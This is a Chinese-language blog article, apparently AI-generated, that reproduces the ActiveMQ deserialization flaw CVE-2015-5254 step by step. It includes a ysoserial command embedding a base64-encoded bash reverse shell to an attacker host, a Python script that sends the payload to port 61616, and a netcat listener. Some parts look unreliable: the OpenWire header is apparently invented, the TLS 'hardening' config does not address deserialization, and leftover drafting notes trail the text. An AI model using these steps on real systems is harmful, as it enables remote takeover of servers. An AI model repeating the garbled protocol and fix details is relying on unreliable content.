ActiveMQ反序列化漏洞的CVE-2015-5254复现是怎样的

发布时间：2021-12-29 17:37:58 作者：柒染
来源：亿速云阅读：343

# ActiveMQ反序列化漏洞CVE-2015-5254复现分析

## 漏洞概述
CVE-2015-5254是Apache ActiveMQ 5.x版本中存在的一个Java反序列化漏洞，由安全研究员James Forshaw于2015年披露。该漏洞允许攻击者通过构造恶意序列化数据，在目标服务器上执行任意代码，主要影响版本为5.0.0至5.13.0。

## 漏洞原理
漏洞根源在于ActiveMQ默认开放的61616端口（OpenWire协议）和8161端口（Web控制台）未对传入的序列化对象进行安全检查。当攻击者发送精心构造的序列化数据时，ActiveMQ会使用默认的Java反序列化机制处理这些数据，导致远程代码执行（RCE）。

### 关键点
1. **Java反序列化机制**：使用ObjectInputStream.readObject()方法
2. **利用链依赖**：commons-collections 3.1等库
3. **攻击向量**：通过JMS ObjectMessage传输恶意序列化对象

---

## 环境搭建
### 实验环境
- 靶机：Ubuntu 18.04 + ActiveMQ 5.11.1
- 攻击机：Kali Linux
- 工具：ysoserial、nc

### 安装步骤
```bash
# 下载ActiveMQ
wget https://archive.apache.org/dist/activemq/5.11.1/apache-activemq-5.11.1-bin.tar.gz
tar -xzf apache-activemq-5.11.1-bin.tar.gz
cd apache-activemq-5.11.1/bin
./activemq start

漏洞复现步骤

1. 检测服务状态

访问http://target:8161/admin确认Web控制台正常运行，使用nmap扫描开放端口：

nmap -p 61616,8161 target_ip

2. 生成恶意序列化数据

使用ysoserial生成Payload（示例使用CommonsCollections5利用链）：

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.ser

3. 发送恶意Payload

通过Python脚本发送构造的序列化数据：

import socket
import struct

target = '192.168.1.100'
port = 61616

with open('payload.ser', 'rb') as f:
    payload = f.read()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

# 构造OpenWire协议头
header = (
    b"\x00\x00\x00\x0a" +  # 消息长度
    b"\x1f" +              # 消息类型
    b"\x00\x00\x00\x01" +  # 消息ID
    b"\x00\x00\x00\x01"    # 目标ID
)

s.send(header + payload)
s.close()

4. 获取反向Shell

在攻击机启动监听：

nc -lvnp 4444

成功执行后将在攻击机获得目标系统的shell访问权限。

修复方案

官方补丁：升级至ActiveMQ 5.13.1及以上版本
临时缓解措施：
- 禁用OpenWire协议
- 配置JMS反序列化白名单
- 网络层面限制61616端口的访问

安全加固：


<!-- 修改conf/activemq.xml -->
<transportConnectors>
   <transportConnector name="openwire" uri="tcp://0.0.0.0:61616?wireFormat.maxInactivityDuration=0&transport.enabledProtocols=TLSv1.2"/>
</transportConnectors>

技术总结

该漏洞是典型的Java反序列化漏洞案例
利用过程涉及协议分析、Payload构造和网络编程
实际攻击中可能需要尝试多个利用链（如CommonsCollections3/4/5等）

注：本文仅用于安全研究学习，未经授权测试他人系统属于违法行为。 “`

文章结构说明： 1. 采用标准的漏洞分析文档结构 2. 包含实际可操作的复现步骤 3. 使用代码块突出关键操作 4. 强调安全研究的合规性 5. 提供完整的修复方案而不仅是利用方法 6. 关键步骤添加注释说明技术原理

可根据实际需求调整： - 增加Wireshark抓包分析 - 补充其他利用链的测试结果 - 添加动态演示截图等